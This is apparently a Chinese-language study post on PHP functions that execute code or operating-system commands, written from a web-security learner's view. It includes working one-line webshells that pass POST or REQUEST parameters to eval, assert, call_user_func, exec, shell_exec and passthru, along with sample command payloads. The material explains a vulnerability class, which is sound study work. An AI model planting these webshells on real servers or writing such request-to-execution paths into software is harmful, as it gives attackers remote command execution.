本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、代码执行函数:
利用系统函数实现命令执行,在php下,允许命令执行的函数有:
1.eval():将字符串作为php代码执行
(eval 严格意义上并不是函数,而是PHP语言构造器,)
注意:
- eval() 函数传入的参数必须为PHP代码,即要以分号结尾;如果想要执行系统命令,必须加上 命令执行函数,如 system("命令");
- 因为是语言构造器,不能用作动态执行,不能制作==免杀函数==。
<?php @eval($_POST['cmd']);?>
2.assert():将字符串作为php代码执行的函数
代码执行只适用于php5版本,php7.0 则可以用配置文件去除 assert的代码执行功能,php7.1 assert将不能执行代码 , php7.2 assert将不能传入字符串参数
注意:assert()函数是直接将传入的参数当成PHP代码执行,不需要以分号结尾
3.preg_replace():正则匹配替换字符串;
preg_replace : 正则表达式替换函数, 当第一个参数使用/e作为修饰符,会把第二个参数传入的字符串当作php代码执行,第三个参数能够满足第一个参数匹配的字符串,如果不会写,就尽量和第一个参数//里的字符串保 持一
preg_replace("/abc/e", $_REQUEST['cmd'], "abc");
4.array_map
$function_name = $_POST['func']; // 从post参数func获取函数名 $function_args = $_POST['args']; // 从post参数args获取参数值 $arr[0] = $function_args; // 把参数值换成数组 array_map($function_name, $arr); // array_map执行 func(args)
使用方法: body: func=system&args=whoami // system("whoami"); func=phpinfo&args=1 // phpinfo(1)
5.call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
<?php
call_user_func("assert",$_POST['cmd']);
//传入的参数作为assert函数的参数
//cmd=system(whoami)
?>
注意:eval不行,因为不是函数
6.call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
//将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
?>
<?php
call_user_func_array("assert",$_POST['cmd']);
?>
//cmd[]=system("ipconfig");
7.create_function():主要创建匿名函数;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞
其他函数:
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()……
二、系统命令执行函数
对于直接执行系统命令的代码函数也是有很多的。
1.system():能将字符串作为OS命令执行,且返回命令执行结果;
2.exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
如果想得到结果,可以使用第二个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
// echo exec('whoami');
// exec('ls -la', $return);
// var_dump($return);
$cmd=$_POST['cmd'];
@exec($cmd, $return);
var_dump($return)
?>
3.shell_exec():能将字符串作为OS命令执行
shell_exec("whoami");
shell_exec($_REQUEST['cmd']);
默认不会输出命令的执行结果
echo shell_exec("whoami");
var_dump(shell_exec("whoami"))
4.passthru():能将字符串作为OS命令执行,默认会输出命令的执行结果
passthru("whoami");
passthru($_REQUEST['cmd'])
5.popen():打开进程文件指针
popen("whoami",'r');
不会输出命令的执行结果, 且echo也不会输出
<?php
popen("whoami > 1.txt","r"); // 执行whoami把执行结果导出到1.txt
echo file_get_contents("1.txt"); // 读取1.txt的内容
unlink("1.txt"); // 删除1.txt
?>
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号:反引号内的字符串会被解析为OS命令;